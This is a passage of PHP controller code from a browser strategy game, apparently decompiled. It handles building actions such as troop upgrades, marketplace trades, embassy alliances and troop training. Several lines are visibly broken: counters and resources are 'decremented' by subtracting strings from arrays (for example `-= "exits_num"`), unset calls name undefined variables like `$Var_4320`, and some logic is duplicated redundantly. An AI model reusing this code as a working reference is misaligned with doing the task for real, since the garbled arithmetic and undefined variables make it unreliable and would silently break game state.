    public function handleBlacksmithArmoury( )    {        $this->troopsUpgradeType = $this->buildings[$this->buildingIndex]['item_id'] == 12 ? QS_TROOP_UPGRADE_ATTACK : QS_TROOP_UPGRADE_DEFENSE;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        $_c = 0;        foreach ( $_arr as $troopStr )        {            ++$_c;            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            $tlevel = $this->troopsUpgradeType == QS_TROOP_UPGRADE_ATTACK ? $attack_level : $defense_level;            if ( $troopId != 99 && $_c <= 8 && $tlevel < 20 && $researches_done == 1 )            {                $this->troopsUpgrade[$troopId] = $tlevel;            }        }        if ( isset( $_GET['a'], $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troopsUpgrade[intval( $_GET['a'] )] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $level = $this->troopsUpgrade[$troopId];            $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']]['troop_upgrades'][$troopId][$level];            if ( !$this->isResourcesAvailable( $buildingMetadata['resources'] ) )            {            }            else            {                $calcConsume = intval( $buildingMetadata['time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->villageId = $this->data['selected_village_id'];                $newTask->procParams = $troopId." ".( $level + 1 );                $newTask->tag = $buildingMetadata['resources'];                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleMainBuilding( )    {        if ( $this->isPost( ) && isset( $_POST['drbid'] ) && 19 <= intval( $_POST['drbid'] ) && intval( $_POST['drbid'] ) <= sizeof( $this->buildings ) && isset( $this->buildings[$_POST['drbid']] ) && 0 < $this->buildings[$_POST['drbid']]['level'] && !isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $item_id = $this->buildings[$_POST['drbid']]['item_id'];            $calcConsume = intval( $this->gameMetadata['items'][$item_id]['levels'][$this->buildings[$_POST['drbid']]['level'] - 1]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 400 ) );            $newTask = new QueueTask( QS_BUILD_DROP, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->buildingId = $item_id;            $newTask->procParams = $this->buildings[$_POST['drbid']]['index'];            $this->queueModel->addTask( $newTask );        }        else if ( isset( $_GET['qid'] ) && is_numeric( $_GET['qid'] ) && isset( $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && isset( $_GET['d'] ) && isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );        }    }
    public function handleRallyPoint( )    {        if ( isset( $_GET['d'] ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['d'] ) );        }        $this->rallyPointProperty = array(            "troops_in_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_intrap_num" )            ),            "troops_out_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_out_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_out_intrap_num" )            ),            "troops_in_oases" => array( ),            "war_to_village" => $this->queueModel->tasksInQueue['war_troops']['to_village'],            "war_from_village" => $this->queueModel->tasksInQueue['war_troops']['from_village'],            "war_to_oasis" => $this->queueModel->tasksInQueue['war_troops']['to_oasis']        );        $village_oases_id = trim( $this->data['village_oases_id'] );        if ( $village_oases_id != "" )        {            $m = new BuildModel( );            $result = $m->getOasesDataById( $village_oases_id );            while ( $result->next( ) )            {                $this->rallyPointProperty['troops_in_oases'][$result->row['id']] = array(                    "oasisRow" => $result->row,                    "troopsTable" => $this->_getOasisTroopsList( $result->row['troops_num'] ),                    "war_to" => isset( $this->rallyPointProperty['war_to_oasis'][$result->row['id']] ) ? $this->rallyPointProperty['war_to_oasis'][$result->row['id']] : NULL                );            }            $m->dispose( );        }    }
   public function _canCancelWarTask( $taskType, $taskId )    {        if ( !QueueTask::iscancelabletask( $taskType ) )        {            return FALSE;        }        $timeout = QueueTask::getmaxcanceltimeout( $taskType );        if ( 0 - 1 < $timeout )        {            $_task = NULL;            foreach ( $this->queueModel->tasksInQueue[$taskType] as $t )            {                if ( !( $t['id'] == $taskId ) )                {                    continue;                }                $_task = $t;                break;                break;            }            if ( $_task == NULL )            {                return FALSE;            }            $elapsedTime = $t['elapsedTime'];            if ( $timeout < $elapsedTime )            {                return FALSE;            }        }        return TRUE;    }
    public function _getOasisTroopsList( $troops_num )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $troops_num ) != "" )        {            $t_arr = explode( "|", $troops_num );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = $t2_arr[0];                $villageData = $m->getVillageData2ById( $vid );                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function _getTroopsList( $key )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $this->data[$key] ) != "" )        {            $t_arr = explode( "|", $this->data[$key] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = intval( $t2_arr[0] );                $villageData = NULL;                if ( $vid == 0 - 1 )                {                    $vid = $this->data['selected_village_id'];                    $villageData = array( "id" => $vid, "village_name" => $this->data['village_name'], "player_id" => $this->player->playerId, "player_name" => buildings_p_thisvillage );                }                else                {                    $villageData = $m->getVillageData2ById( $vid );                }                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                if ( $vid == $this->data['selected_village_id'] )                {                    $returnTroops[$vid]['hasHero'] = intval( $this->data['hero_in_village_id'] ) == intval( $this->data['selected_village_id'] );                    if ( $returnTroops[$vid]['hasHero'] )                    {                         $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$this->data['hero_troop_id']]['crop_consumption'];                       }                }                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function handleMarketplace( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $itemLevel = $this->buildings[$this->buildingIndex]['level'];        $tribeMetadata = $this->gameMetadata['tribes'][$this->data['tribe_id']];        $tradeOfficeLevel = $this->_getMaxBuildingLevel( 28 );        $capacityFactor = $tradeOfficeLevel == 0 ? 1 : $this->gameMetadata['items'][28]['levels'][$tradeOfficeLevel - 1]['value'] / 100;        $capacityFactor *= $this->gameMetadata['game_speed'];        $total_merchants_num = $this->gameMetadata['items'][$itemId]['levels'][$itemLevel - 1]['value'];        $exist_num = $total_merchants_num - $this->queueModel->tasksInQueue['out_merchants_num'] - $this->data['offer_merchants_count'];        if ( $exist_num < 0 )        {            $exist_num = 0;        }        $this->merchantProperty = array( "speed" => $tribeMetadata['merchants_velocity'] * $this->gameMetadata['game_speed'], "capacity" => floor( $tribeMetadata['merchants_capacity'] * $capacityFactor ), "total_num" => $total_merchants_num, "exits_num" => $exist_num, "confirm_snd" => FALSE, "same_village" => FALSE, "vRow" => NULL );        if ( $this->selectedTabIndex == 0 )        {            $m = new BuildModel( );            if ( $this->isPost( ) || isset( $_GET['vid2'] ) )            {                $resources = array( "1" => isset( $_POST['r1'] ) ? intval( $_POST['r1'] ) : 0, "2" => isset( $_POST['r2'] ) ? intval( $_POST['r2'] ) : 0, "3" => isset( $_POST['r3'] ) ? intval( $_POST['r3'] ) : 0, "4" => isset( $_POST['r4'] ) ? intval( $_POST['r4'] ) : 0 );                $this->merchantProperty['confirm_snd'] = $this->isPost( ) ? isset( $_POST['act'] ) && $_POST['act'] == 1 : isset( $_GET['vid2'] );                $map_size = $this->setupMetadata['map_size'];                $doSend = FALSE;                if ( $this->merchantProperty['confirm_snd'] )                {                    $vRow = NULL;                    if ( trim( $_POST['y'] ) != "" )                    {                        $vid = $this->__getVillageId( $map_size, $this->__getCoordInRange( $map_size, intval( $_POST['x'] ) ), $this->__getCoordInRange( $map_size, intval( $_POST['y'] ) ) );                        $vRow = $m->getVillageDataById( $vid );                    }                    else                    {                        if ( isset( $_POST['vname'] ) && trim( $_POST['vname'] ) != "" )                        {                            $vRow = $m->getVillageDataByName( trim( $_POST['vname'] ) );                        }                        else                        {                            if ( isset( $_GET['vid2'] ) )                            {                                $vRow = $m->getVillageDataById( intval( $_GET['vid2'] ) );                                if ( $vRow != NULL )                                {                                    $_POST['x'] = $vRow['rel_x'];                                    $_POST['y'] = $vRow['rel_y'];                                }                            }                        }                    }                }                else                {                    $doSend = TRUE;                    $vRow = $m->getVillageDataById( intval( $_POST['vid2'] ) );                    $this->merchantProperty['showError'] = FALSE;                    $_POST['r1'] = $_POST['r2'] = $_POST['r3'] = $_POST['r4'] = "";                }                if ( 0 < intval( $vRow['player_id'] ) && $m->getPlayType( intval( $vRow['player_id'] ) ) == PLAYERTYPE_ADMIN )                {                    $this->merchantProperty['showError'] = FALSE;                    $this->merchantProperty['confirm_snd'] = FALSE;                }                else                {                    $this->merchantProperty['vRow'] = $vRow;                    $vid = $this->merchantProperty['to_vid'] = $vRow != NULL ? $vRow['id'] : 0;                    $rel_x = $vRow['rel_x'];                    $rel_y = $vRow['rel_y'];                    $this->merchantProperty['same_village'] = $vid == $this->data['selected_village_id'];                    $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources );                    $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources[1] + $resources[2] + $resources[3] + $resources[4] ) / $this->merchantProperty['capacity'] );                    $this->merchantProperty['confirm_snd'] = 0 < $vid && $this->merchantProperty['available_res'] && 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] && !$this->merchantProperty['same_village'];                    $this->merchantProperty['showError'] = !$this->merchantProperty['confirm_snd'];                    $distance = WebHelper::getdistance( $this->data['rel_x'], $this->data['rel_y'], $rel_x, $rel_y, $this->setupMetadata['map_size'] / 2 );                    $this->merchantProperty['vRow_time'] = intval( $distance / $this->merchantProperty['speed'] * 3600 );                    if ( !$this->merchantProperty['showError'] && $doSend && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $this->merchantProperty['confirm_snd'] = FALSE;                        $this->merchantProperty -= "exits_num";                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $this->merchantProperty['vRow_time'] );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $vRow['player_id'];                        $newTask->toVillageId = $vid;                        $newTask->procParams = $this->merchantProperty['vRow_merchant_num']."|".( $resources[1]." ".$resources[2]." ".$resources[3]." ".$resources[4] );                        $newTask->tag = $resources;                        $this->queueModel->addTask( $newTask );                    }                }            }            $m->dispose( );        }        else if ( $this->selectedTabIndex == 1 )        {            $m = new BuildModel( );            $showOfferList = TRUE;            if ( isset( $_GET['oid'] ) && 0 < intval( $_GET['oid'] ) )            {                $oRow = $m->getOffer2( intval( $_GET['oid'] ), $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2 );                if ( $oRow != NULL )                {                    $aid = 0;                    if ( $oRow['alliance_only'] && 0 < intval( $this->data['alliance_id'] ) )                    {                        $aid = $m->getPlayerAllianceId( $oRow['player_id'] );                    }                    $res2 = explode( "|", $oRow['offer'] );                    $res1 = explode( "|", $oRow['offer'] );                    list( $res1, $res2 ) = $res1;                    $resArr1 = explode( " ", $res1 );                    $needResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res1_item_id = 0;                    $res1_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res1_item_id = $i + 1;                            $res1_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $resArr1 = explode( " ", $res2 );                    $giveResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res2_item_id = 0;                    $res2_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res2_item_id = $i + 1;                            $res2_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $distance = $oRow['timeInSeconds'] / 3600 * $oRow['merchants_speed'];                    $acceptResult = $this->_canAcceptOffer( $needResources, $giveResources, $oRow['village_id'], $oRow['alliance_only'], $aid, $oRow['max_time'], $distance );                    if ( $acceptResult == 5 && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $showOfferList = FALSE;                        $this->merchantProperty['offerProperty'] = array( "player_id" => $oRow['player_id'], "player_name" => $oRow['player_name'], "res1_item_id" => $res1_item_id, "res1_value" => $res1_value, "res2_item_id" => $res2_item_id, "res2_value" => $res2_value );                        $merchantNum = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $distance / ( $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] ) * 3600 );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $oRow['player_id'];                        $newTask->toVillageId = $oRow['village_id'];                        $newTask->procParams = $merchantNum."|".( $giveResources[1]." ".$giveResources[2]." ".$giveResources[3]." ".$giveResources[4] );                        $newTask->tag = $giveResources;                        $this->queueModel->addTask( $newTask );                        $newTask = new QueueTask( QS_MERCHANT_GO, $oRow['player_id'], $oRow['timeInSeconds'] );                        $newTask->villageId = $oRow['village_id'];                        $newTask->toPlayerId = $this->player->playerId;                        $newTask->toVillageId = $this->data['selected_village_id'];                        $newTask->procParams = $oRow['merchants_num']."|".( $needResources[1]." ".$needResources[2]." ".$needResources[3]." ".$needResources[4] );                        $newTask->tag = array( "1" => 0, "2" => 0, "3" => 0, "4" => 0 );                        $this->queueModel->addTask( $newTask );                        $m->removeMerchantOffer( intval( $_GET['oid'] ), $oRow['player_id'], $oRow['village_id'] );                    }                }            }            $this->merchantProperty['showOfferList'] = $showOfferList;            if ( $showOfferList )            {                $rowsCount = $m->getAllOffersCount( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                $this->pageCount = 0 < $rowsCount ? ceil( $rowsCount / $this->pageSize ) : 1;                $this->pageIndex = isset( $_GET['p'] ) && is_numeric( $_GET['p'] ) && intval( $_GET['p'] ) < $this->pageCount ? intval( $_GET['p'] ) : 0;                $this->merchantProperty['all_offers'] = $m->getAllOffers( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'], $this->pageIndex, $this->pageSize );            }            $m->dispose( );        }        else        {            if ( $this->selectedTabIndex == 2 )            {                $m = new BuildModel( );                $this->merchantProperty['showError'] = FALSE;                $this->merchantProperty['showError2'] = FALSE;                $this->merchantProperty['showError3'] = FALSE;                if ( $this->isPost( ) )                {                     if ( isset( $_POST['m1'] ) && 0 < intval( $_POST['m1'] ) && isset( $_POST['m2'] ) && 0 < intval( $_POST['m2'] ) && isset( $_POST['rid1'] ) && 0 < intval( $_POST['rid1'] ) && isset( $_POST['rid2'] ) && 0 < intval( $_POST['rid2'] ) )                        {                        $resources1 = array( "1" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 1 ? intval( $_POST['m1'] ) : 0, "2" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 2 ? intval( $_POST['m1'] ) : 0, "3" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 3 ? intval( $_POST['m1'] ) : 0, "4" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 4 ? intval( $_POST['m1'] ) : 0 );                        $resources2 = array( "1" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 1 ? intval( $_POST['m2'] ) : 0, "2" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 2 ? intval( $_POST['m2'] ) : 0, "3" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 3 ? intval( $_POST['m2'] ) : 0, "4" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 4 ? intval( $_POST['m2'] ) : 0 );                        if ( intval( $_POST['rid1'] ) == intval( $_POST['rid2'] ) || intval( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) <= 0 || intval( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) <= 0 )                        {                            $this->merchantProperty['showError'] = TRUE;                        }                        else if ( 10 < ceil( ( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) / ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) ) )                        {                            $this->merchantProperty['showError'] = TRUE;                            $this->merchantProperty['showError3'] = TRUE;                        }                        $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources1 );                        if ( $this->merchantProperty['available_res'] && !$this->merchantProperty['showError'] )                        {                            $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) / $this->merchantProperty['capacity'] );                            if ( 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] )                            {                                $this->merchantProperty -= "exits_num";                                $this->data += "offer_merchants_count";                                $offer = $resources1[1]." ".$resources1[2]." ".$resources1[3]." ".$resources1[4]."|".( $resources2[1]." ".$resources2[2]." ".$resources2[3]." ".$resources2[4] );                                $m->addMerchantOffer( $this->player->playerId, $this->data['name'], $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->merchantProperty['vRow_merchant_num'], $offer, isset( $_POST['ally'] ), 0 < intval( $_POST['d2'] ) ? intval( $_POST['d2'] ) : 0, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                                foreach ( $resources1 as $k => $v )                                {                                    $this->resources[$k] -= "current_value";                                }                                $this->queueModel->_updateVillage( FALSE, FALSE );                            }                            else                            {                                $this->merchantProperty['showError'] = TRUE;                            }                        }                        else                        {                            $this->merchantProperty['showError'] = TRUE;                        }                    }                    else                    {                        $this->merchantProperty['showError'] = TRUE;                        $this->merchantProperty['showError2'] = TRUE;                    }                }                else if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                {                    $row = $m->getOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    if ( $row != NULL )                    {                        $this->merchantProperty += "exits_num";                        $this->data -= "offer_merchants_count";                        $resources2 = explode( "|", $row['offer'] );                        $resources1 = explode( "|", $row['offer'] );                        list( $resources1, $resources2 ) = $resources1;                        $resourcesArray1 = explode( " ", $resources1 );                        $res = array( );                        $i = 0;                        $_c = sizeof( $resourcesArray1 );                        while ( $i < $_c )                        {                            $res[$i + 1] = $resourcesArray1[$i];                            ++$i;                        }                        foreach ( $res as $k => $v )                        {                            $this->resources[$k] += "current_value";                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m->removeMerchantOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    }                }                $this->merchantProperty['offers'] = $m->getOffers( $this->data['selected_village_id'] );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 && $this->isPost( ) && isset( $_POST['m2'] ) && is_array( $_POST['m2'] ) && sizeof( $_POST['m2'] ) == 4 && $this->gameMetadata['plusTable'][6]['cost'] <= $this->data['gold_num'] )                {                    $resources = array( "1" => intval( $_POST['m2'][0] ), "2" => intval( $_POST['m2'][1] ), "3" => intval( $_POST['m2'][2] ), "4" => intval( $_POST['m2'][3] ) );                    $oldSum = $this->resources[1]['current_value'] + $this->resources[2]['current_value'] + $this->resources[3]['current_value'] + $this->resources[4]['current_value'];                    $newSum = $resources[1] + $resources[2] + $resources[3] + $resources[4];                    if ( $newSum <= $oldSum )                    {                        foreach ( $resources as $k => $v )                        {                            $this->resources[$k]['current_value'] = $v;                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m = new BuildModel( );                        $m->decreaseGoldNum( $this->player->playerId, $this->gameMetadata['plusTable'][6]['cost'] );                        $m->dispose( );                    }                }            }        }    }
    public function handleEmbassy( )    {        if ( 0 < intval( $this->data['alliance_id'] ) )        {        }        else        {            $this->embassyProperty = array( "level" => $this->buildings[$this->buildingIndex]['level'], "invites" => NULL, "error" => 0, "ally1" => "", "ally2" => "" );            $maxPlayers = $this->gameMetadata['items'][18]['levels'][$this->embassyProperty['level'] - 1]['value'];            $this->embassyProperty['ally1'] = $ally1 = trim( $_POST['ally1'] );            $this->embassyProperty['ally2'] = $ally2 = trim( $_POST['ally2'] );            if ( $ally1 == "" || $ally2 == "" )            {                $this->embassyProperty['error'] = $ally1 == "" && $ally2 == "" ? 3 : $ally1 == "" ? 1 : 2;            }            else            {                $m = new BuildModel( );                if ( !$m->allianceExists( $this->embassyProperty['ally1'] ) )                {                    $this->data['alliance_name'] = $this->embassyProperty['ally1'];                    $this->data['alliance_id'] = $m->createAlliance( $this->player->playerId, $this->embassyProperty['ally1'], $this->embassyProperty['ally2'], $maxPlayers );                    $m->dispose( );                }                else                {                    $this->embassyProperty['error'] = 4;                    $m->dispose( );                }            }            $invites_alliance_ids = trim( $this->data['invites_alliance_ids'] );            $this->embassyProperty['invites'] = array( );            if ( $invites_alliance_ids != "" )            {                $_arr = explode( "\n", $invites_alliance_ids );                foreach ( $_arr as $_s )                {                    $allianceName = explode( " ", $_s, 2 );                    $allianceId = explode( " ", $_s, 2 );                    list ( $allianceId, $allianceName ) = $allianceId;                    $this->embassyProperty['invites'][$allianceId] = $allianceName;                }            }            if ( !$this->isPost( ) )            {                if ( isset( $_GET['a'] ) && 0 < intval( $_GET['a'] ) )                {                    $allianceId = intval( $_GET['a'] );                    if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                    {                        $m = new BuildModel( );                        $acceptResult = $m->acceptAllianceJoining( $this->player->playerId, $allianceId );                        if ( $acceptResult == 2 )                        {                            $this->data['alliance_name'] = $this->embassyProperty['invites'][$allianceId];                            $this->data['alliance_id'] = $allianceId;                            unset( $Var_4320['invites'][$allianceId] );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                        }                        else if ( $acceptResult == 1 )                        {                            $this->embassyProperty['error'] = 15;                        }                        $m->dispose( );                    }                }                else                {                    if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                    {                        $allianceId = intval( $_GET['d'] );                        if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                        {                            unset( $Var_5112['invites'][$allianceId] );                            $m = new BuildModel( );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                            $m->dispose( );                        }                    }                }            }        }    }
    public function handleWarrior( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            if ( $researches_done == 1 && 0 < $this->gameMetadata['troops'][$troopId]['gold_needed'] )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        $this->warriorMessage = "";        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $cropConsume = 0;            $totalGoldsNeeded = 0;            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) )                {                    continue;                }                $totalGoldsNeeded += $this->gameMetadata['troops'][$troopId]['gold_needed'] * $num;                $cropConsume += $this->gameMetadata['troops'][$troopId]['crop_consumption'] * $num;            }            if ( $totalGoldsNeeded <= 0 )            {            }            else            {                $canProcess = $totalGoldsNeeded <= $this->data['gold_num'];                $this->warriorMessage = $canProcess ? 1 : 2;                if ( $canProcess )                {                    $troopsString = "";                    foreach ( $this->troops as $tid => $num )                    {                        if ( $tid == 99 )                        {                            continue;                        }                       $neededNum = isset( $this->troopsUpgrade[$tid], $_POST['tf'][$tid] ) ? $_POST['tf'][$tid] : 0;                        if ( $troopsString != "" )                        {                            $troopsString .= ",";                        }                        $troopsString .= $tid." ".$neededNum;                    }                    $m = new BuildModel( );                    $m->decreaseGoldNum( $this->player->playerId, $totalGoldsNeeded );                    $m->dispose( );                    $this->data -= "gold_num";                    $procParams = $troopsString."|0||||||1";                    $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];                    $bLevel = $this->buildings[$this->buildingIndex]['level'];                    $needed_time = $buildingMetadata['levels'][$bLevel - 1]['value'] * 3600;                    $newTask = new QueueTask( QS_WAR_REINFORCE, 0, $needed_time );                    $newTask->villageId = 0;                    $newTask->toPlayerId = $this->player->playerId;                    $newTask->toVillageId = $this->data['selected_village_id'];                    $newTask->procParams = $procParams;                    $newTask->tag = array( "troops" => NULL, "hasHero" => FALSE, "resources" => NULL, "troopsCropConsume" => $cropConsume );                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleTroopBuilding( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgradeType = QS_TROOP_TRAINING;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                {                    continue;                }                $timeFactor = 1;                if ( $this->gameMetadata['troops'][$troopId]['is_cavalry'] == TRUE )                {                    $flvl = $this->_getMaxBuildingLevel( 41 );                    if ( 0 < $flvl )                    {                        $timeFactor -= $this->gameMetadata['items'][41]['levels'][$flvl - 1]['value'] / 100;                    }                }                $troopMetadata = $this->gameMetadata['troops'][$troopId];                $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) * $timeFactor );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->threads = $num;                $newTask->villageId = $this->data['selected_village_id'];                $newTask->buildingId = $this->buildProperties['building']['item_id'];                $newTask->procParams = $troopId;                $newTask->tag = array( "1" => $troopMetadata['training_resources'][1] * $this->buildingTribeFactor * $num, "2" => $troopMetadata['training_resources'][2] * $this->buildingTribeFactor * $num, "3" => $troopMetadata['training_resources'][3] * $this->buildingTribeFactor * $num, "4" => $troopMetadata['training_resources'][4] * $this->buildingTribeFactor * $num );                $this->queueModel->addTask( $newTask );            }        }    }
